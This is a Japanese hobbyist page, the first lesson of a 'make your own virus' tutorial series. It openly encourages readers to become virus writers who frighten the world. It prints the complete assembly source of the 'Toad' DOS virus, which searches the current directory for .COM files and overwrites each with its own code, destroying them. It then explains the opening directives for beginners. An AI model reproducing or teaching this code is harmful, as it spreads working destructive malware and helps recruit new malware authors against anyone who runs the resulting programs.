/* * Viriiを作ってみよう * */ 「virus を自作してみよう」こう言われると「複雑なプログラムを理解するなんて駄目だ よ〜ド●エモーン」とおっしゃる方もおりましょうが心配御無用!どんな初心者でもこの シリーズを読めばすぐにウイルスを作れるようになる・・・・わけもなくやっぱりウイル スを自作できるようになるには最低限のプログラミングの知識が必要です・・。 しかし、難解(苦笑)かに分けてやるこのシリーズを読み終わった頃にはチキンな貴方も きっと一人前のウイルサーになっている事でしょう。せいぜい世界中を恐怖に陥れる悪魔 のようなウイルサーになってくれたまえhehehe! 第一講 今、世界では一日に4〜5個の割合で新種のウイルスが誕生している。 「だからどうした」と言われればそれまでだが日本原産のウイルスがほとんどないのには かなり寂しいものを覚えるのではないか? 第一日本にはウイルスの情報が少なすぎる。私は今までに日本語でマニュアル化されたウ イルスの作り方をほとんど見かけた事がない。これはかなり由々しき事態である。一方海 の向こうの国ではもう腐るほどマニュアル化された文書が出回っている。 くそ・・、負けてらんねえ。能書きはこれくらいにして本論といこう・・・・。 さて、この章で作成するウイルスはアゼンブラを用いるわけであるが、この言語は簡単で もあり複雑でもある。急いで理解しようとすると多分(ほぼ100%)混乱すると思うので「 oneday,oneswing 」ぐらいの余裕をもってとりかかろう。 というかアゼンブラは実はかなり難しい言語なのでなるべく簡単なものをやっていこうと 思う(おいおい、初めの勢いはどうした(笑))またアゼンブラはDOS 用の言語でもある のでWIN な環境に慣れ親しんだ人にはつらいかもしれない。 code segment assume cs:code,ds:code org 100h toad proc near first_fly: mov ah,4eh find_fly: xor cx,cx lea dx,comsig int 21h jc wart_growth open_fly: mov ax,3d02h mov dx,9eh int 21h eat_fly: xchg bx,ax mov ah,40h mov cx,offset horny - offset first_fly lea dx,first_fly int 21h stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly wart_growth: mov ah,09h mov dx,offset wart int 21h cya: int 20h comsig db "*.com",0 wart db 'Congratulations! You have infected all the COM files in this ',10,13 db 'directory with the Toad instructional virus. Have a nice day.',10,13,'$' horny label near toad endp code ends end first_fly おっと、ここでいきなり違うページに行かないように(笑)これは初めてのウイルスを作 成するのに処理する基本codeである。さて、このcodeをいくつかに分けて個々の働きを理 解するとしようか。ちょいと其の前にcom 形式の解説・・・・・・ 我々の作ろうとするウイルスはcom 形式のフォーマットを使用する。この形式はexe フォ ーマット形式よりも古い形式です。けど、exe に比べ簡単だし初心者にはピッタリなので この形式を使う。又、com 形式では使えるサイズが限定されている。大体1segment か6 5536byteの大きさが限度・・かな。この大きさによりだんだんスキルが上がってくる と感染ファイルを選択しなきゃいけない事態になるかもしれない。が、そんなのずっと後 の話だな・・ははは。 解説 code segment segment の命令はsegment のパラメーターを定義付けします。これによりcodesegment を 定義付けします。すべての実行できうるcodeは全てsegment の中に有ります。要は前振り みたいなものです。 そして、segmentは別に"code"segmentと"code"をつけなくてもいいです。 assume cs:code,ds:code assumeの司令codeはcodesegment 内に置く。プログラムを制作する際にこのcodeから開始 し、datasegment の記録は"code"segment に関わる事になる。何の事やねん〜?というの は基本的に我々はまだCOMfile のパラメーターを設定している所なのだ。まあ、まだプロ グラムの設定についての説明だ。 org 100h これはCOMfilesを制作するのに不可欠だ。そしてコンピューターに100hexor256bytesであ る事を認識させる働きがある。またorg100h はPSP かprogramsegmentprefixの後の埋め合 わせである。 (PSP とはプログラム内にあり、コンピューターが読み込まれると作られる。まあ、PSP は一時的なものだ) まあ、こういうわけでこれについては後に感染させたいプログラムについての説明に述べ る。 toad proc near まあ、べつにこれは必要なプログラムではないが、いい手順にするために必要なのだ。手 順とはまあ基本的にはcodesegment 内のサブルーチンなのだが・・。大きいサイズのウイ ルスになってくると色々な役割を果たすプログラムが沢山含まれるようになる。これらの 役割に名前を与え、綿密にしておくために必要なのである。 とまあこんな調子でアゼンブラの基礎から説明していくわけである。しかしまだこのペー ジ全体が試行段階なのでこれくらいにしておく。またそのうち構想自体が固まれば再開し ていく方針である。「チッ、期待させやがって」と思いの方もおりましょうがもうしばら く待って下さい。